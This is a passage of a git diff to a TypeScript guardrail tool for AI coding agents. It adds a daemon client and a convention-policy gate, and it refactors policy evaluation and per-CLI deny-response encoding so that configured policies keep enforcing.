{ + exitCode: exit_code, + stdout, + stderr, + policyName: policy_name, + reason, + decision, + }; + + // `policyNames` is optional on `EvaluationResult` and the encoder only sets + // it for multi-policy verdicts, so `null` must leave the key absent rather + // than present-and-undefined. + if (policy_names !== null && policy_names !== undefined) { + if (!Array.isArray(policy_names)) return null; + if (!policy_names.every((n): n is string => typeof n === "string")) return null; + result.policyNames = policy_names; + } + + return result; +} + +// ── Framing ──────────────────────────────────────────────────────────────── + +function encodeFrame(body: unknown): Buffer { + const json = Buffer.from(JSON.stringify(body), "utf8"); + const header = Buffer.allocUnsafe(4); + header.writeUInt32BE(json.length, 0); + return Buffer.concat([header, json]); +} + +// ── The client ───────────────────────────────────────────────────────────── + +/** + * Ask `failproofaid` to evaluate one hook event. + * + * @param request The canonical evaluation envelope `handleHookEvent` already + * built. The payload is already canonicalized; `fpai-canon` + * re-derives and asserts equality rather than trusting it. + * @param deadlineMs The **remaining** end-to-end budget, not a per-hop + * timeout. Measured against `performance.now()` — a monotonic + * clock — so a wall-clock step (NTP, suspend/resume, a manual + * `date`) cannot stretch or collapse it. + * @returns The daemon's verdict, or `null` meaning "fall back to legacy". Never + * throws. + */ +export async function tryDaemonEvaluate( + request: EvaluationRequest, + deadlineMs: number = DEFAULT_DAEMON_DEADLINE_MS, + enabledPolicies: readonly string[] = [], +): Promise { + // ── Kill switch, first, before anything else is read or opened ────────── + const mode = process.env.FAILPROOFAI_DAEMON_MODE; + if (mode === undefined || mode === "" || mode === "off") return null; + if (mode === "shadow") { + // Stage 2. Shadow mode runs legacy, then the daemon with `shadow: true`, + // returns *legacy*, and records the diff — none of which exists yet, so it + // is treated as `off` rather than silently behaving like `enforce`. + return null; + } + // An empty enabled set is a fallback, not a request. The daemon refuses it — + // there is nothing to evaluate, and backfilling its own defaults would + // enforce a set the user never configured — so the round trip could only end + // in an error. More to the point, a caller that forgot to pass its resolved + // set would otherwise get a confident allow built from evaluating nothing. + if (enabledPolicies.length === 0) return null; + + // Anything other than an understood mode falls back too: an unrecognized + // value must never be more permissive than `off`. + if (mode !== "enforce") return null; + + try { + // `null` means neither $XDG_RUNTIME_DIR nor $HOME resolved, which is the + // same broken environment the daemon refuses to start in. Fall back rather + // than invent a path in the filesystem root. + const resolvedSocket = defaultSocketPath(); + if (resolvedSocket === null) return null; + + const serviceUid = readServiceUid(); + if (serviceUid === null) return null; + if (!socketOwnerMatchesService(resolvedSocket, serviceUid)) return null; + + return await roundTrip(resolvedSocket, request, deadlineMs, enabledPolicies); + } catch { + return null; + } +} + +/** + * One connection, one handshake, one `EvaluateHook`, one response. + * + * The socket is destroyed on every exit path including the timeout, so a hung + * daemon cannot leak a handle per hook event. + */ +function roundTrip( + socketPath: string, + request: EvaluationRequest, + deadlineMs: number, + enabledPolicies: readonly string[], +): Promise { + return new Promise((resolve) => { + const startedAt = performance.now(); + const requestId = randomUUID(); + + let settled = false; + let handshakeAcked = false; + let buffered: Buffer = Buffer.alloc(0); + + const socket = net.createConnection({ path: socketPath }); + + const timer = setTimeout(() => finish(null), Math.max(0, deadlineMs)); + // Never hold the process open on the daemon's account. + timer.unref?.(); + + function finish(result: EvaluationResult | null): void { + if (settled) return; + settled = true; + clearTimeout(timer); + // Listeners stay attached deliberately: removing them would leave a + // later `error` emission unhandled, which Node turns into an uncaught + // exception. `settled` makes every one of them a no-op instead. + try { + socket.destroy(); + } catch { + // Nothing left to do — the answer is already `null`. + } + resolve(result); + } + + function send(body: unknown): boolean { + try { + socket.write(encodeFrame(body)); + return true; + } catch { + return false; + } + } + + socket.on("error", () => finish(null)); + socket.on("close", () => finish(null)); + socket.on("end", () => finish(null)); + + socket.on("connect", () => { + const sent = send({ + hello: { + protocol_version: PROTOCOL_VERSION, + client: CLIENT_NAME, + client_version: version, + }, + }); + if (!sent) finish(null); + }); + + socket.on("data", (chunk: Buffer) => { + if (settled) return; + try { + buffered = buffered.length === 0 ? chunk : Buffer.concat([buffered, chunk]); + + for (;;) { + if (buffered.length < 4) return; + const bodyLength = buffered.readUInt32BE(0); + // Validate before allocating anything of the declared size, and stop + // reading entirely rather than trying to resynchronize: the stream is + // no longer trustworthy once a frame header is out of contract. + if (bodyLength > MAX_FRAME_BYTES) { + finish(null); + return; + } + // Short read — wait for the rest. A frame is never zero-filled to + // length; EOF mid-frame arrives as `close`, which resolves `null`. + if (buffered.length < 4 + bodyLength) return; + + const body = buffered.subarray(4, 4 + bodyLength).toString("utf8"); + buffered = buffered.subarray(4 + bodyLength); + + let frame: unknown; + try { + frame = JSON.parse(body); + } catch { + finish(null); + return; + } + + if (!handshakeAcked) { + // A `version_mismatch` (or any non-`hello_ack`) ends the exchange + // here: never guess, never retry with another version, never fail + // the hook. In particular no `EvaluateHook` frame is sent. + if (!isHelloAck(frame)) { + finish(null); + return; + } + handshakeAcked = true; + + // `deadline_ms` is what is *left* of the budget at send time, on a + // monotonic clock, not the budget we started with. + const remainingMs = Math.round(deadlineMs - (performance.now() - startedAt)); + if (remainingMs <= 0) { + finish(null); + return; + } + if (!send({ request_id: requestId, op: { evaluate_hook: toEvaluateHookOp(request, remainingMs, enabledPolicies) } })) { + finish(null); + } + continue; + } + + finish(decodeEvaluated(frame, requestId)); + return; + } + } catch { + finish(null); + } + }); + }); +} diff --git a/src/hooks/handler-gate.ts b/src/hooks/handler-gate.ts new file mode 100644 index 00000000..dbd1671f --- /dev/null +++ b/src/hooks/handler-gate.ts @@ -0,0 +1,51 @@ +/** + * Which policy sources the daemon cannot answer for. + * + * Split out of `handler.ts` deliberately. That file runs on every hook event, + * including this repository's own dogfood hooks, so reaching for filesystem + * helpers inline there means one missing import takes out every tool call in a + * session. It did, once. Delegating to a named function keeps `handler.ts`'s + * import list short and its failure modes boring. + */ +import { homedir } from "node:os"; +import { resolve } from "node:path"; +import { discoverPolicyFiles } from "./custom-hooks-loader"; +import { findProjectConfigDir } from "./hooks-config"; + +/** + * Whether any convention policy file exists for this session. + * + * Convention policies live at `.failproofai/policies/*policies.{js,mjs,ts}` — + * in the project and in the user's home — and are discovered from the + * filesystem. They appear in **no configuration key**, which is precisely why + * the daemon gate has to look for them here. + * + * The first version of that gate tested `customPoliciesPaths` and + * `customPoliciesPath` only. A team keeping its policies in the convention + * directory therefore had them silently stop enforcing the moment the daemon + * answered: the gate saw nothing, the daemon evaluated the builtins, and the + * `needs_user_context` safety net could not fire either, because the sealed + * worker partitions the `enabled_policies` list it was handed and a convention + * policy is never in that list — it self-registers at load. Reproduced + * end-to-end: a convention policy denying a deploy denied with the daemon off + * and allowed with it on. + * + * Two `readdirSync` calls on directories that usually do not exist, on a path + * that already reads several JSON files. The cost is not the consideration; a + * wrong verdict is. + */ +export function hasConventionPolicyFiles(sessionCwd: string | undefined): boolean { + const cwd = sessionCwd ?? process.cwd(); + try { + const projectDir = resolve(findProjectConfigDir(cwd), ".failproofai", "policies"); + if (discoverPolicyFiles(projectDir).length > 0) return true; + } catch { + // An unreadable project root is not a reason to hand the event to the + // daemon; fall through and check user scope. + } + try { + return discoverPolicyFiles(resolve(homedir(), ".failproofai", "policies")).length > 0; + } catch { + return false; + } +} diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 5fb07a8f..76ddbff6 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -25,10 +25,13 @@ import { ANTIGRAVITY_EVENT_MAP, } from "./types"; import { canonicalizeToolName, canonicalizeToolInput } from "./tool-name-canonicalize"; -import type { PolicyFunction, PolicyResult } from "./policy-types"; +import type { HooksConfig, PolicyFunction, PolicyResult } from "./policy-types"; import { readMergedHooksConfig } from "./hooks-config"; import { registerBuiltinPolicies } from "./builtin-policies"; import { evaluatePolicies } from "./policy-evaluator"; +import type { EvaluationResult } from "./policy-evaluator"; +import { tryDaemonEvaluate, DEFAULT_DAEMON_DEADLINE_MS } from "./daemon-client"; +import { hasConventionPolicyFiles } from "./handler-gate"; import { clearPolicies, registerPolicy, getPoliciesForEvent } from "./policy-registry"; import { loadAllCustomHooks } from "./custom-hooks-loader"; import type { CustomHook } from "./policy-types"; @@ -37,6 +40,8 @@ import { trackHookEvent, flushHookTelemetry } from "./hook-telemetry"; import { resolveCwd } from "./resolve-cwd"; import { resolvePermissionMode } from "./resolve-permission-mode"; import { resolveTranscriptPath } from "./resolve-transcript-path"; +import { buildLocalEnvelope, envelopeToSessionMetadata } from "./request-envelope"; +import { readLocalHostFacts } from "./local-host"; import { getInstanceId } from "../../lib/telemetry-id"; import { hookLogInfo, hookLogWarn } from "./hook-logger"; @@ -221,105 +226,213 @@ export async function handleHookEvent( parsed.tool_input = canonicalInput; } - // Extract session metadata from payload + // Extract session metadata from payload, then seal it into the canonical + // evaluation-request envelope (Phase 1 / Stage 0, P4). The three resolvers + // stay *here*, in the client, on purpose: resolving a transcript path or a + // Codex permission mode means walking ~/.codex/sessions and friends — a + // read whose size is unbounded, on the enforcement deadline path. The + // daemon must be handed the answers, never sent looking for them while a + // tool call waits. + // + // `session` is derived FROM the envelope rather than built alongside it, so + // there is exactly one source of truth for session identity. Every field a + // policy sees is byte-identical to before — this is preparation, not a + // behavior change. const sessionId = parsed.session_id as string | undefined; - const session: SessionMetadata = { + const request = buildLocalEnvelope({ + cli, + eventType: canonicalEventType, + // Preserve the raw CLI-side event name (eventType arg) before + // canonicalization. Response shapes that round-trip the agent-emitted + // event name prefer this over the canonicalized form when stdin omits + // hook_event_name. + rawEventType: eventType, + payload: parsed, sessionId, transcriptPath: resolveTranscriptPath(cli, parsed, sessionId), cwd: resolveCwd(cli, parsed), permissionMode: resolvePermissionMode(cli, parsed, sessionId), hookEventName: parsed.hook_event_name as string | undefined, - // Preserve the raw CLI-side event name (eventType arg) before - // canonicalization. Response shapes that round-trip the agent-emitted - // event name prefer this over the canonicalized form when stdin omits - // hook_event_name. - rawHookEventName: eventType, - cli, - }; + host: readLocalHostFacts(), + }); + const session: SessionMetadata = envelopeToSessionMetadata(request); + + // ── Daemon fast path (Phase 1 / Stage 1) ──────────────────────────────── + // + // This is the insertion point, and it is the only structural change in this + // file. It sits *after* the envelope is built and *before* + // `readMergedHooksConfig` because those two facts bracket exactly the right + // slice: everything above produces the canonicalized request the daemon is + // contractually handed (PROTOCOL.md: "`payload` is already canonicalized by + // the client"), and `readMergedHooksConfig` is the first line of the legacy + // work — the per-invocation config read and policy load the daemon exists to + // remove. Everything from there through `evaluatePolicies` therefore *is* + // the legacy fallback: not a copy kept in sync, just the untouched remainder + // of this function. + // + // `tryDaemonEvaluate` returns null before opening a socket unless + // FAILPROOFAI_DAEMON_MODE is set, so with the variable unset this costs one + // env-var read and the rest of the handler behaves exactly as it does on + // main. It never throws. + // + // The config read moved *above* the daemon call, and that ordering is + // load-bearing. The daemon must evaluate the user's resolved enabled set; + // when it supplied its own instead, a user with 30 policies enabled got the + // 11 builtin defaults and 19 builtins silently stopped enforcing the moment + // the daemon answered. Reading the config first costs the cheap half of the + // legacy work (a few JSON reads) and keeps the expensive half — the custom + // hook load, which writes temp files next to the user's source on every + // tool call — on the fallback path only. + // + // Custom and convention policies are never sealed-eligible, so rather than + // load them just to discover that, a configured custom-policy path skips + // the daemon outright. Enforcing a subset would be worse than not using the + // daemon at all: it is the silent-drop this product exists to prevent. + let config: HooksConfig | undefined = readMergedHooksConfig(session.cwd); + + // What the daemon cannot answer for. Each entry is a policy source the + // sealed tier will not run, and every one of them has to send us down the + // legacy path — enforcing the subset the daemon *can* evaluate is not a + // degraded answer, it is a wrong one. + // + // The first version of this gate read only `customPoliciesPaths` and + // `customPoliciesPath`, which is a config-key test. Convention policies are + // discovered from the *filesystem* — `.failproofai/policies/*policies.mjs` + // in the project and in the user's home — and appear in neither key, so a + // team that keeps its policies there had them silently stop enforcing the + // moment the daemon answered. The `needs_user_context` net could not catch + // it either: the worker partitions the `enabled_policies` list it is handed, + // and a convention policy is never in that list because it self-registers at + // load. Reproduced end-to-end before the fix — a convention policy denying a + // deploy denied with the daemon off and allowed with it on. + // + // `policyParams` is here for the same reason. The daemon evaluates with + // schema defaults, so a user who set `protectedBranches` or `allowPaths` + // would get the *default* set: under-blocking for some policies and + // over-blocking for others, and either way not what they configured. The + // params belong on the wire; until they are, this keeps the answer correct. + const explicitCustomPolicies = + config.customPoliciesEnabled !== false && + ((config.customPoliciesPaths?.length ?? 0) > 0 || !!config.customPoliciesPath); + const conventionPolicies = + config.customPoliciesEnabled !== false && hasConventionPolicyFiles(session.cwd); + const hasPolicyParams = Object.keys(config.policyParams ?? {}).length > 0; - // Load enabled policies (merge across project/local/global scopes) - const config = readMergedHooksConfig(session.cwd); - clearPolicies(); - registerBuiltinPolicies(config.enabledPolicies); + const daemonCanAnswer = !explicitCustomPolicies && !conventionPolicies && !hasPolicyParams; - // Load and register custom hooks (layer 2, after builtins) - const loadResult = await loadAllCustomHooks( - config.customPoliciesPaths ?? config.customPoliciesPath, - { - sessionCwd: session.cwd, - customPoliciesEnabled: config.customPoliciesEnabled, - }, - ); - const customHooksList = loadResult.hooks; - const disabledCustomPolicies = new Set(config.disabledCustomPolicies ?? []); - const conventionHookNames = new Set(loadResult.conventionSources.flatMap((s) => s.hookNames)); + const daemonResult = daemonCanAnswer + ? await tryDaemonEvaluate(request, DEFAULT_DAEMON_DEADLINE_MS, config.enabledPolicies) + : null; + const evaluator: "daemon" | "legacy" = daemonResult ? "daemon" : "legacy"; - for (const hook of customHooksList) { - const policyId = (hook as CustomHook & { __policyId?: string }).__policyId; - if (policyId && disabledCustomPolicies.has(policyId)) continue; - const hookName = hook.name; - const conventionScope = (hook as CustomHook & { __conventionScope?: string }).__conventionScope; - const isConvention = !!conventionScope; - const prefix = isConvention ? `.failproofai-${conventionScope}` : "custom"; - const fn: PolicyFunction = async (ctx): Promise => { - try { - const result = await Promise.race([ - hook.fn(ctx), - new Promise((_, reject) => - setTimeout(() => reject(new Error("timeout")), 10_000), - ), - ]); - return result; - } catch (err) { - const msg = err instanceof Error ? err.message : String(err); - const isTimeout = msg === "timeout"; - hookLogWarn(`${prefix} hook "${hookName}" failed: ${msg}`); - void trackHookEvent(getInstanceId(), "custom_hook_error", { - hook_name: hookName, - error_type: isTimeout ? "timeout" : "exception", - event_type: eventType, - cli, - is_convention_policy: isConvention, - convention_scope: conventionScope ?? null, - }); - return { decision: "allow" }; - } - }; - registerPolicy( - `${prefix}/${hookName}`, - hook.description ?? "", - fn, - hook.match ?? {}, - -1, // Custom hooks run after builtins (priority 0) + let result: EvaluationResult; + + if (daemonResult) { + result = daemonResult; + hookLogInfo(`event=${canonicalEventType} cli=${cli} evaluator=daemon`); + } else { + clearPolicies(); + registerBuiltinPolicies(config.enabledPolicies); + + // Load and register custom hooks (layer 2, after builtins) + const loadResult = await loadAllCustomHooks( + config.customPoliciesPaths ?? config.customPoliciesPath, + { + sessionCwd: session.cwd, + customPoliciesEnabled: config.customPoliciesEnabled, + }, ); - } + const customHooksList = loadResult.hooks; + const disabledCustomPolicies = new Set(config.disabledCustomPolicies ?? []); + const conventionHookNames = new Set(loadResult.conventionSources.flatMap((s) => s.hookNames)); - // Fire telemetry once per invocation for custom hook loads - if (customHooksList.length > 0) { - void trackHookEvent(getInstanceId(), "custom_hooks_loaded", { - cli, - custom_hooks_count: customHooksList.length, - custom_hook_names: customHooksList.map((h) => h.name), - event_types_covered: [...new Set(customHooksList.flatMap((h) => h.match?.events ?? []))], - }); - } + for (const hook of customHooksList) { + const policyId = (hook as CustomHook & { __policyId?: string }).__policyId; + if (policyId && disabledCustomPolicies.has(policyId)) continue; + const hookName = hook.name; + const conventionScope = (hook as CustomHook & { __conventionScope?: string }).__conventionScope; + const isConvention = !!conventionScope; + const prefix = isConvention ? `.failproofai-${conventionScope}` : "custom"; + const fn: PolicyFunction = async (ctx): Promise => { + // The timeout handle is captured and cleared. Without that, a custom + // hook that simply *returns* leaves a 10-second timer pending, and a + // pending timer keeps Node's event loop alive — so the hook process + // sits idle for ten seconds after it has already decided. + // + // Today that is invisible: `bin/failproofai.mjs` calls + // `process.exit()` the moment `handleHookEvent` returns, which kills + // the timer along with everything else. It stops being invisible the + // moment anything evaluates in a process that outlives one event — + // the resident sealed worker, the daemon itself, or a test harness — + // where it becomes ten seconds of retained closure per hook. + // Measured at a 10,088 ms p95 in a bench harness that did not + // replicate the hard exit. + let timer: ReturnType | undefined; + try { + const result = await Promise.race([ + hook.fn(ctx), + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error("timeout")), 10_000); + }), + ]); + return result; + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + const isTimeout = msg === "timeout"; + hookLogWarn(`${prefix} hook "${hookName}" failed: ${msg}`); + void trackHookEvent(getInstanceId(), "custom_hook_error", { + hook_name: hookName, + error_type: isTimeout ? "timeout" : "exception", + event_type: eventType, + cli, + is_convention_policy: isConvention, + convention_scope: conventionScope ?? null, + }); + return { decision: "allow" }; + } finally { + // Runs on the success path, the timeout path, and the throw path. + // Clearing an already-fired timer is a no-op, so no branch is + // needed. + if (timer !== undefined) clearTimeout(timer); + } + }; + registerPolicy( + `${prefix}/${hookName}`, + hook.description ?? "", + fn, + hook.match ?? {}, + -1, // Custom hooks run after builtins (priority 0) + ); + } - // Fire telemetry for convention-based policy discovery - if (loadResult.conventionSources.length > 0) { - void trackHookEvent(getInstanceId(), "convention_policies_loaded", { - event_type: canonicalEventType, - cli, - project_file_count: loadResult.conventionSources.filter((s) => s.scope === "project").length, - user_file_count: loadResult.conventionSources.filter((s) => s.scope === "user").length, - convention_hook_count: conventionHookNames.size, - convention_hook_names: [...conventionHookNames], - }); - } + // Fire telemetry once per invocation for custom hook loads + if (customHooksList.length > 0) { + void trackHookEvent(getInstanceId(), "custom_hooks_loaded", { + cli, + custom_hooks_count: customHooksList.length, + custom_hook_names: customHooksList.map((h) => h.name), + event_types_covered: [...new Set(customHooksList.flatMap((h) => h.match?.events ?? []))], + }); + } + + // Fire telemetry for convention-based policy discovery + if (loadResult.conventionSources.length > 0) { + void trackHookEvent(getInstanceId(), "convention_policies_loaded", { + event_type: canonicalEventType, + cli, + project_file_count: loadResult.conventionSources.filter((s) => s.scope === "project").length, + user_file_count: loadResult.conventionSources.filter((s) => s.scope === "user").length, + convention_hook_count: conventionHookNames.size, + convention_hook_names: [...conventionHookNames], + }); + } - hookLogInfo(`event=${canonicalEventType} cli=${cli} policies=${config.enabledPolicies.length} custom=${customHooksList.length} convention=${conventionHookNames.size}`); + hookLogInfo(`event=${canonicalEventType} cli=${cli} policies=${config.enabledPolicies.length} custom=${customHooksList.length} convention=${conventionHookNames.size}`); + + // Evaluate policies (use canonical PascalCase event type) + result = await evaluatePolicies(canonicalEventType, parsed, session, config); + } - // Evaluate policies (use canonical PascalCase event type) - const result = await evaluatePolicies(canonicalEventType, parsed, session, config); const durationMs = Math.round(performance.now() - startTime); hookLogInfo(`result=${result.decision} policy=${result.policyName ?? "none"} duration=${durationMs}ms`); @@ -335,10 +448,19 @@ export async function handleHookEvent( // allow — so without this a row cannot tell "your policy ran and allowed" // from "no policy covers this event". The lookup is the same cached call // the evaluator already made, so it costs nothing. - const matchedPolicies = getPoliciesForEvent( - canonicalEventType, - parsed.tool_name as string | undefined, - ).map((p) => p.name); + // + // Left `undefined` on the daemon path: nothing was registered in *this* + // process, so the local registry would report an empty list — a stronger + // and wrong claim than "unknown". The response frame does carry + // `matched_policies`, but `EvaluationResult` has no field to put it in and + // this stage does not widen that type; Stage 2's shadow differ is where it + // is actually needed. Every consumer already tolerates `undefined` here. + const matchedPolicies = daemonResult + ? undefined + : getPoliciesForEvent( + canonicalEventType, + parsed.tool_name as string | undefined, + ).map((p) => p.name); // Persist activity to disk (visible in /policies activity tab) const activityEntry = { @@ -349,6 +471,12 @@ export async function handleHookEvent( policyName: result.policyName, policyNames: result.policyNames, matchedPolicies, + // Which evaluator produced this verdict. A separate field rather than a + // reused one on purpose: Stage 2's shadow-mode diff and the acceptance + // suite both need to partition rows by evaluator, and overloading an + // existing field would make "legacy" and "daemon" rows indistinguishable + // in exactly the data set that has to prove they are identical. + evaluator, decision: result.decision, reason: result.reason, durationMs, @@ -372,11 +500,15 @@ export async function handleHookEvent( const conventionScope = isConventionPolicy ? result.policyName!.match(/^\.failproofai-(project|user)\//)?.[1] ?? null : null; - const hasCustomParams = - !isCustomHook && !isConventionPolicy && !!(result.policyName && config.policyParams?.[result.policyName]); - const paramKeysOverridden = hasCustomParams - ? Object.keys(config.policyParams![result.policyName!]) - : []; + // `config` is undefined on the daemon path (no local config read), so + // the override lookup is resolved once and reused rather than asserted + // twice. Semantics on the legacy path are unchanged. + const paramOverrides = + !isCustomHook && !isConventionPolicy && result.policyName + ? config?.policyParams?.[result.policyName] + : undefined; + const hasCustomParams = !!paramOverrides; + const paramKeysOverridden = paramOverrides ? Object.keys(paramOverrides) : []; const distinctId = getInstanceId(); await trackHookEvent(distinctId, "hook_policy_triggered", { event_type: canonicalEventType, diff --git a/src/hooks/local-host.ts b/src/hooks/local-host.ts new file mode 100644 index 00000000..9c830a36 --- /dev/null +++ b/src/hooks/local-host.ts @@ -0,0 +1,30 @@ +/** + * The single place the in-process legacy path reads ambient host state. + * + * Split out of `request-envelope.ts` deliberately (Phase 1 / Stage 0, P4): + * the envelope module must stay free of runtime imports because a later stage + * derives a policy's sealed / `user-context` execution tier from the *resolved* + * import graph. `node:os` lives here instead, and this module is the only edge + * into it. + * + * There is no daemon equivalent of this file. Under `failproofaid` the same + * facts arrive as `daemon-derived` — `home` from `getpwuid_r(peer_uid)`, never + * from the request (see `request-envelope.ts` for why a client-asserted home + * would relax a sealed verdict). + */ +import { homedir } from "node:os"; +import { selectEnvFacts, type LocalHostFacts } from "./request-envelope"; + +/** + * Read the host facts the envelope needs from the current process. + * + * `homedir()` is read per call rather than memoized at module scope so tests + * (and anything that rewrites `$HOME`) observe the current value, matching how + * `builtin-policies.ts` and `hooks-config.ts` call it today. + */ +export function readLocalHostFacts(): LocalHostFacts { + return { + home: homedir(), + envFacts: selectEnvFacts(process.env), + }; +} diff --git a/src/hooks/policy-evaluator.ts b/src/hooks/policy-evaluator.ts index ce20e195..e2b3422d 100644 --- a/src/hooks/policy-evaluator.ts +++ b/src/hooks/policy-evaluator.ts @@ -55,12 +55,36 @@ function getConfigParamsFor( return config.policyParams[canonicalName.slice(defaultPrefix.length)]; } -export async function evaluatePolicies( +/** + * The raw outcome of running the policy loop for one event, before any + * per-CLI response encoding. `evaluateVerdicts` produces it and + * `encodeResponse` consumes it; splitting the two lets a caller that + * evaluates policies in more than one place merge verdict sets before a + * single response is encoded. + */ +export interface VerdictSet { + /** First deny encountered. The policy loop short-circuits on it. */ + deny: { policyName: string; reason: string } | null; + /** Every instruct result, in policy order (instruct does not short-circuit). */ + instructEntries: Array<{ policyName: string; reason: string }>; + /** Informational messages from allow decisions, in policy order. */ + allowEntries: Array<{ policyName: string; reason: string }>; + /** How many policies matched this event — 0 means nothing ran. */ + matchedCount: number; + /** `payload.tool_name`, carried through so the deny noun can be picked. */ + toolName?: string; +} + +/** + * Runs the policies registered for an event and accumulates their verdicts. + * No response encoding happens here — see `encodeResponse`. + */ +export async function evaluateVerdicts( eventType: HookEventType, payload: Record, session?: SessionMetadata, config?: HooksConfig, -): Promise { +): Promise { const toolName = payload.tool_name as string | undefined; const toolInput = payload.tool_input as Record | undefined; @@ -69,7 +93,7 @@ export async function evaluatePolicies( hookLogInfo(`evaluating ${policies.length} policies for ${eventType}`); if (policies.length === 0) { - return { exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" }; + return { deny: null, instructEntries: [], allowEntries: [], matchedCount: 0, toolName }; } const baseCtx: PolicyContext = { @@ -132,444 +156,474 @@ export async function evaluatePolicies( getConfigParamsFor(config, policy.name)?.hint, ); hookLogInfo(`deny by "${policy.name}": ${reason}`); + return { + deny: { policyName: policy.name, reason }, + instructEntries, + allowEntries, + matchedCount: policies.length, + toolName, + }; + } - // Pick a noun for the deny message that fits the event type. Tool events - // get the tool name; non-tool events (UserPromptSubmit, SessionStart, - // SessionEnd, Stop, …) use an event-appropriate label so we don't emit - // the misleading "Blocked unknown tool by failproofai because: ...". - let displayTool: string; - if (ctx.toolName) { - displayTool = ctx.toolName; - } else if (eventType === "UserPromptSubmit") { - displayTool = "prompt"; - } else if (eventType === "SessionStart") { - displayTool = "session start"; - } else if (eventType === "SessionEnd") { - displayTool = "session end"; - } else if (eventType === "Stop") { - displayTool = "stop"; - } else { - displayTool = "operation"; - } - const blockedMessage = `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`; - - // Cursor's hook protocol expects a flat `{permission, user_message, - // agent_message}` shape for any blocking decision, regardless of which - // event triggered it. Branch ahead of the per-event handlers below so - // PreToolUse / PostToolUse / PermissionRequest all flow through the - // Cursor-shaped response. - // Ref: https://cursor.com/docs/hooks (Stdout Response Format). - if (session?.cli === "cursor") { - // Cursor's `stop` / `subagentStop` hooks ignore `{permission: "deny"}` - // — that shape is only honored on tool events. The only force-retry - // channel for Stop/SubagentStop is `{followup_message}` on stdout - // (exit 0); Cursor auto-submits the text as the next user message - // (capped at `loop_limit`, default 5). Mirrors the Copilot Stop branch. - // Without this branch, the 5 `require-*-before-stop` builtins were - // observation-only on Cursor — the deny was logged but the agent - // stopped cleanly. Ref: https://cursor.com/docs/hooks - if (eventType === "Stop" || eventType === "SubagentStop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ followup_message: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - // `beforeSubmitPrompt` does NOT read `permission`. Its only block key - // is `continue: false` (+ an optional `user_message` shown to the - // user); an object carrying unknown keys validates and is dropped, so - // the flat deny below was inert and every prompt went through. Verified - // against cursor-agent 2026.07.16-899851b, 1931.index.js char 887883. - if (eventType === "UserPromptSubmit") { - return { - exitCode: 0, - stdout: JSON.stringify({ continue: false, user_message: blockedMessage }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - const response = { - permission: "deny", - user_message: blockedMessage, - agent_message: blockedMessage, - }; - return { - exitCode: 0, - stdout: JSON.stringify(response), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } + // Accumulate all instruct results (does not short-circuit — later policies can still deny) + if (result.decision === "instruct") { + const reason = appendHint( + result.reason ?? `Instruction from policy: ${policy.name}`, + getConfigParamsFor(config, policy.name)?.hint, + ); + instructEntries.push({ policyName: policy.name, reason }); + hookLogInfo(`instruct by "${policy.name}": ${reason}`); + } - // Pi's shim parses a flat `{permission, reason}` JSON shape from stdout - // and translates `permission === "deny"` into a `{block: true, reason}` - // return value from its `pi.on("tool_call", ...)` handler. Pi has no - // event-specific decision wrappers, so all events flow through the - // same flat shape — except Stop, where we emit the MANDATORY ACTION - // wording so the shim can re-inject it as a system-prompt suffix on - // the next before_agent_start (Pi cannot veto agent_end directly). - // Mirrors the Cursor/Copilot/OpenCode Stop branches above. - if (session?.cli === "pi") { - if (eventType === "Stop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ permission: "deny", reason: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - const response = { - permission: "deny", - reason: blockedMessage, - }; + // Accumulate informational messages from allow decisions + if (result.decision === "allow" && result.reason) { + allowEntries.push({ policyName: policy.name, reason: result.reason }); + } + } + + return { deny: null, instructEntries, allowEntries, matchedCount: policies.length, toolName }; +} + +/** + * Encodes an accumulated `VerdictSet` into the native response shape the + * target CLI actually reads. Every branch below is a separately verified + * vendor contract — see the per-branch comments. + */ +export function encodeResponse( + verdicts: VerdictSet, + eventType: HookEventType, + session?: SessionMetadata, +): EvaluationResult { + const { instructEntries, allowEntries } = verdicts; + + if (verdicts.matchedCount === 0) { + return { exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" }; + } + + if (verdicts.deny) { + const { policyName, reason } = verdicts.deny; + + // Pick a noun for the deny message that fits the event type. Tool events + // get the tool name; non-tool events (UserPromptSubmit, SessionStart, + // SessionEnd, Stop, …) use an event-appropriate label so we don't emit + // the misleading "Blocked unknown tool by failproofai because: ...". + let displayTool: string; + if (verdicts.toolName) { + displayTool = verdicts.toolName; + } else if (eventType === "UserPromptSubmit") { + displayTool = "prompt"; + } else if (eventType === "SessionStart") { + displayTool = "session start"; + } else if (eventType === "SessionEnd") { + displayTool = "session end"; + } else if (eventType === "Stop") { + displayTool = "stop"; + } else { + displayTool = "operation"; + } + const blockedMessage = `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`; + + // Cursor's hook protocol expects a flat `{permission, user_message, + // agent_message}` shape for any blocking decision, regardless of which + // event triggered it. Branch ahead of the per-event handlers below so + // PreToolUse / PostToolUse / PermissionRequest all flow through the + // Cursor-shaped response. + // Ref: https://cursor.com/docs/hooks (Stdout Response Format). + if (session?.cli === "cursor") { + // Cursor's `stop` / `subagentStop` hooks ignore `{permission: "deny"}` + // — that shape is only honored on tool events. The only force-retry + // channel for Stop/SubagentStop is `{followup_message}` on stdout + // (exit 0); Cursor auto-submits the text as the next user message + // (capped at `loop_limit`, default 5). Mirrors the Copilot Stop branch. + // Without this branch, the 5 `require-*-before-stop` builtins were + // observation-only on Cursor — the deny was logged but the agent + // stopped cleanly. Ref: https://cursor.com/docs/hooks + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = 